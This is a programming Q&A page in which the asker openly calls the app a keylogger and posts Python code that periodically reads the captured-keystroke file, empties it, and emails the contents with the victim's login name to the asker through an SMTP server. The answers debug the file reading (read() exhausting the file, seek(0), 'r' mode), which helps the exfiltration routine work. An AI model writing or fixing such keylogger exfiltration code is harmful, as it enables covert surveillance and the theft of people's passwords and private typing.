0

My app is a keylogger. I use a thread to have a timer that sends the content of the file 'final.txt' to my email. The actual email sending process works fine, but although the file is not empty (I checked) it shows up as empty when I try to send it. after running "proc" the file empties too.

Why is that happening and how can I fix it?

    def proc():
        while True:           
                            
            with open("final.txt","a+") as mailFile:

                print(mailFile.read() +' end') 

                data ="====== \n DATA \n ====== \n \n" + mailFile.read()
              
                if len(mailFile.read()) > 0:
                    with open('final.txt','w') as tempFile: 
                        tempFile.truncate()
                        tempFile.close()
                    file.close() 
                    send(data)
                        
                else:
                    file.close()            
            time.sleep(HOUR/60)

    x = threading.Thread(target=proc)
    x.start()

    def send(file):
            msg = EmailMessage()

            msg['From'] = sender_email
            msg['To'] = reciver_email
            msg['Subject'] = f"{os.getlogin()}: {time.localtime()[3]}:{time.localtime()[4]} - {time.localtime()[2]}/{time.localtime()[1]}/{time.localtime()[0]}"
            msg.set_content(file)
            try:
                server = smtplib.SMTP('64.233.184.108')
                server.starttls()
                server.login(sender_email,password)
            except:
                send_mode('Disonnected')
                sys.exit()
            server.send_message(msg)
            server.quit()
Guy zvi
  • 77
  • 1
  • 6
  • I have very little idea what `proc()` is trying to do, but if you run `some_file.read()` it's going to read the whole file. If you then do `some_file.read()` again it's just going to return the empty string: `''`. – mechanical_meat Dec 10 '21 at 14:40
  • @mechanical_meat I tried doing file.close() before reading it again but it still doesn't work. If I try to open the file 2 times at the same time the second one will return '' ? – Guy zvi Dec 10 '21 at 15:01
  • Look at `.seek(0)` to go back to start of file; no need to close and re-open. – mechanical_meat Dec 10 '21 at 15:10

1 Answers1

0

Do you need to append the file in any way? It looks like you are just trying to read it, and if there is text scrape content and send.

a+ flag in open() method is used for appending the file - you could probably just use 'r' flag for this case. That should give you the desired text.

Dharman
  • 30,962
  • 25
  • 85
  • 135
Calleb213
  • 151
  • 1
  • 9